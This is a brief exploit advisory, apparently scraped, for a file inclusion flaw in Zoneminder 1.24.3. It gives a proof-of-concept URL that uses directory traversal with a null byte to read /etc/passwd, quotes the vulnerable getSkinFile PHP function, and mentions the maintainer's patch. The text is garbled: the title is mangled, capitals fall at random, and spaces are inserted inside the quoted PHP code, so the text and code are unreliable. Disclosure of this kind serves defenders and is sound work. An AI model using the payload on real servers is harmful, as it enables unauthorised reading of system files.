Zoneminder 1.24.3 Remote File Inclusion Defects and repair

# Exploit Title: Zoneminder 1.24.3 Remote File isolation sion Vulnerability
# Author: Iye (iye [dot] CBA-at-gmail [dot] com)
# Software Link: http://www.zoneminder.com/
# Version: 1.24.3 (Tested). 1.24.4 probably too, not tested
 
You must be authenticated as a user in the Web App to exploit. it's
Not a must to be admin.
 
POC:
Http://www.bkjia.com/zm/index. php? Action = 56 & markMids % 5B % 5D = 1 & deleteBtn = Delete & editBtn = Edit & view = .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd % 00
 
Reported to proyect mantainer (Philip Coombes) on 2011-07-22

Fix patch made Philip Coombes: http://www.zoneminder.com/downloads/lfi-patch.txt
 
Vulnerable Code:
 
/Var/www/zm/DES/functions. php
--------------------------------------------------------
 
Function getSkinFile ($ file)
{
Global $ skinBase;
$ SkinFile = false;
Foreach ($ skinBase as $ skin)
{
$ TempSkinFile = 'skin'. '/'. $ skin. '/'. $ file;
If (file_exists ($ tempSkinFile ))
$ SkinFile = $ tempSkinFile;
}
Return ($ skinFile );
}
 
--------------------------------------------------------